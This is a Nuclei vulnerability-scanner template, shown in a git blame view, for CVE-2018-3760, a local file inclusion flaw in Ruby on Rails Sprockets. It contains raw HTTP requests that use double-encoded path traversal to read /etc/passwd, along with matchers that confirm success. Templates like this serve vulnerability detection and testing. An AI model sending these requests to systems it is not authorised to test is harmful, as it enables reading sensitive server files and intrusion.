nuclei-templates/http/cves/2018/CVE-2018-3760.yaml

53 lines
1.6 KiB
YAML
Raw Normal View History

2021-01-02 05:00:39 +00:00
id: CVE-2018-3760
2020-04-05 18:01:09 +00:00
info:
name: Ruby On Rails - Local File Inclusion
2021-07-20 09:22:18 +00:00
author: 0xrudra,pikpikcu
2020-04-05 18:01:09 +00:00
severity: high
description: |
Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
reference:
2021-07-20 09:22:18 +00:00
- https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
- https://nvd.nist.gov/vuln/detail/CVE-2018-3760
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-3760
cwe-id: CWE-200
tags: cve,cve2018,rails,lfi,ruby,vulhub,seclists
metadata:
max-request: 2
2020-04-05 18:01:09 +00:00
http:
2021-07-20 09:22:18 +00:00
- raw:
- |
GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
Host: {{Hostname}}
- |
GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: path
internal: true
part: body
regex:
- "/etc/passwd is no longer under a load path: (.*?),"
2021-03-18 07:54:36 +00:00
2021-07-20 11:58:29 +00:00
matchers-condition: and
2020-04-05 18:01:09 +00:00
matchers:
2021-07-20 09:22:18 +00:00
- type: regex
regex:
- "root:.*:0:0:"
2021-07-20 09:22:18 +00:00
2020-04-05 18:01:09 +00:00
- type: status
status:
2020-05-25 07:49:06 +00:00
- 200
# Enhanced by mp on 2022/07/08